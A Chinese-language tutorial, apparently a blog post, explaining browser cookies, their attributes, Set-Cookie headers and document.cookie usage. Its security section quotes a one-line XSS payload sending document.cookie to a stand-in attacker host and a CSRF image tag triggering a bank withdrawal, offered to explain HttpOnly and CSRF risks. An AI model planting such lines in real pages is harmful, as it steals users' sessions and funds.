cookie 是什麼和使用場景
cookie
是伺服器端儲存在瀏覽器的一小段文字資訊,瀏覽器每次向伺服器端發出請求,都會附帶上這段資訊(不是所有都帶上,具體的下文會介紹)
使用場景:
- 對話管理:儲存登入、購物車等需要記錄的資訊
- 個性化:儲存使用者的偏好,比如網頁的字型大小、背景色等等
- 追蹤:記錄和分析使用者的行為
以上用得較多的還是第一種場景。
我們有時候用
cookie
作為客戶端儲存,可行但不推薦。因為cookie
本身大小有所限制,而且會影響效能。儲存還是應該考慮localStorage
、sesseionStorage
或者indexDB
cookie 的幾個重要屬性
在瞭解各個屬性之前,我們先開啟瀏覽器除錯——Application
——Cookies
——選中一個域
上面就會有這些 cookie
的名稱,值,Domain
,Path
,Expires/Max-age
,Size
,HTTP
,Secure
我們接下來就是要講這裡面幾個重要的點
Expires 和 Max-Age
這兩個屬性涉及到 cookie
的存活時間
Expires
屬性指定一個具體的到期時間,到了這個指定的時間之後,瀏覽器就不再保留這個 cookie
,它的值是 UTC
格式,可以使用 Date.prototype.toUTCString()
格式進行轉換
設定如下:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
複製程式碼
Max-Age
屬性制定了從現在開始 cookie
存在的秒數,比如 60 * 60 * 24 * 365
(即一年)。過了這個時間以後,瀏覽器就不再保留這個 Cookie
Max-Age
的優先順序會比 Expires
的高,主要的原因 Max-Age
所受的外界因素(比如客戶端的時間可能有誤)比較小。
如果兩者都不設定的,那麼這個 cookie
就是Session Cookie
,也一旦關閉瀏覽器,瀏覽器就不會保留這個這個 cookie
Domain 和 path
這兩個屬性決定了,HTTP
請求的時候,哪些請求會帶上哪些 Cookie
,具體下面會做講解。
Secure 和 HttpOnly
Secure
屬性指定瀏覽器只有在加密協議 HTTPS
下,才能將這個 Cookie
傳送到伺服器。另一方面,如果當前協議是 HTTP
,瀏覽器會自動忽略伺服器發來的 Secure
屬性。該屬性只是一個開關,不需要指定值。如果通訊是 HTTPS
協議,該開關自動開啟。
設定了 Secure
這個屬性,那麼就會在 Secure
這一欄打鉤
HttpOnly
屬性指定該 Cookie
無法通過 JavaScript
指令碼拿到,主要是Document.cookie
屬性、XMLHttpRequest
物件和Request API
都拿不到該屬性。這樣就防止了該 Cookie
被指令碼讀到,只有瀏覽器發出 HTTP
請求時,才會帶上該 Cookie
。
設定了 HttpOnly
這個屬性,那麼就會在 HTTP
這一欄打鉤
cookie 和 HTTP 協議
HTTP response——cookie 生成
如果伺服器端希望在瀏覽器種 cookie
,那麼它只需要在 HTTP
請求頭資訊中,放置一個 Set-Cookie
的欄位。舉個例子:
Set-Cookie:foo=bar
那麼就會在瀏覽器種儲存一個名為 foo
,值為 bar
的 cookie
除了值之外,還可以設定其他的屬性
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
複製程式碼
當然,一個 Set-Cookie
欄位是可以同時包含多個屬性(而且沒有次序要求),如下所示:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
複製程式碼
注意一點就是,如果你想要使用
Set-Cookie
修改一個已經存在的cookie
的值,那麼要注意,你必須匹配原有的所有的屬性值(如果存在的話),否則就會生成一個新的cookie
,而不是修改它的值
比如,原有的 cookie
為:
Set-Cookie: key1=value1; domain=example.com; path=/blog
複製程式碼
那麼你正確的修改方式應該是:
Set-Cookie: key1=value2; domain=example.com; path=/blog
複製程式碼
如果你的修改方式如下的話:
Set-Cookie: key1=value2; domain=example.com; path=/
複製程式碼
就會在瀏覽器端設定兩個同名的 cookie
如下:
Cookie: key1=value1; key1=value2
複製程式碼
這不是我們希望看到的!
HTTP request——cookie 傳送
這裡涉及到一個問題,是不是每個請求我們都會帶上所有的 cookie
,顯然不是的,要不效能就會十分低下了。那麼瀏覽器是根據什麼判別哪些請求會帶上哪些 cookie
呢?
這就跟 Domain
和 path
屬性息息相關了
比如,現在一個 cookie
它的 Domain
屬性為 www.example.com
,path
屬性值為 /
。意味著,這個 cookie
對該域的根路徑以及它的所有子路徑都有效。如果我們修改了它的 path
值,為 /forums
,那麼這個 cookie
只要在訪問 www.example.com/forums
及其子路徑時才會帶上。
cookie 和安全
會話劫持和XSS
在 Web
應用中,cookie
常用來標記使用者或授權會話,如果這些資訊(cookie
)會被竊取,可能導致授權使用者的會話從而網頁收到攻擊,比如:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
複製程式碼
HttpOnly
型別的 cookie
就可以組織 Js
對其的訪問從而緩解這種攻擊
跨站點請求偽造(CSRF)
比如某個網站的圖片如下:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
複製程式碼
當你開啟這個圖片的時候,如果你登入之前的銀行賬號而且 cookie
仍然有效(還沒有其他驗證的步驟,有點極端),那麼你的賬戶就有可能有危險了。
cookie 自動刪除和手動刪除
在瞭解 cookie
自動刪除之前,我們先來了解小 cookie
的一些限制條件:
- 傳送到伺服器端的所有
cookie
的最大數量不能超出 4kb,所有超出該限制的cookie
都會被截斷並且不會傳送到伺服器端。 - IE7 以後限制每個域名下
cookie
的數量不得超過 50 個,Opera
限定cookie
的數量為 30個,Safari
和Chrome
就沒有這種限制。
其限制的原因,主要在於阻止 cookie
的濫用,而且 cookie
會被髮送到伺服器端,如果數量太大的話,會嚴重影響請求的效能。以上這兩個限制條件,就是 cookie
為什麼會被瀏覽器自動刪除的原因了。
自動刪除主要存在以下幾種可能:
- 會話
cookie
(session cookie
)在會話結束的時候(瀏覽器關閉)會被刪除 - 持久化
cookie
(Persistent cookie
)在到達失效日期的時候會被刪除 - 瀏覽器的
cookie
達到上限,會自動清除,然後為新建的cookie
騰出空間
document.cookie
對於前端而言,我們獲取 cookie
和設定 cookie
都是通過 document.cookie
的方式進行的。
讀取 cookie
獲取如下(當然是這個 cookie
沒有 HttpOnly
屬性)
可以看到,document.cookie
是將所有的可以讀的 cookie
一次性讀出來的,使用分號分割,所以必須手動的分割
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar
複製程式碼
寫入cookie
我們可以通過 document.cookie
為當前的網站新增 cookie
document.cookie = 'fontSize=14';
複製程式碼
寫入的時候,Cookie
的值必須寫成 key=value
的形式。注意,等號兩邊不能有空格。另外,寫入 Cookie
的時候,必須對分號、逗號和空格進行轉義(它們都不允許作為 Cookie
的值),這可以用 encodeURIComponent
方法達到。
但是,document.cookie
一次只能寫入一個 Cookie
,而且寫入並不是覆蓋,而是新增。
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
複製程式碼
寫入 Cookie
的時候,可以一起寫入 Cookie
的屬性。
例如:
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=*.example.com';
複製程式碼
刪除 cookie
刪除一個現存 Cookie
的唯一方法,是設定它的 expires
屬性為一個過去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
複製程式碼
參考
javascript.ruanyifeng.com/bom/cookie.…
developer.mozilla.org/zh-CN/docs/…
javascript.ruanyifeng.com/bom/cookie.…
歡迎大家關注我的公眾號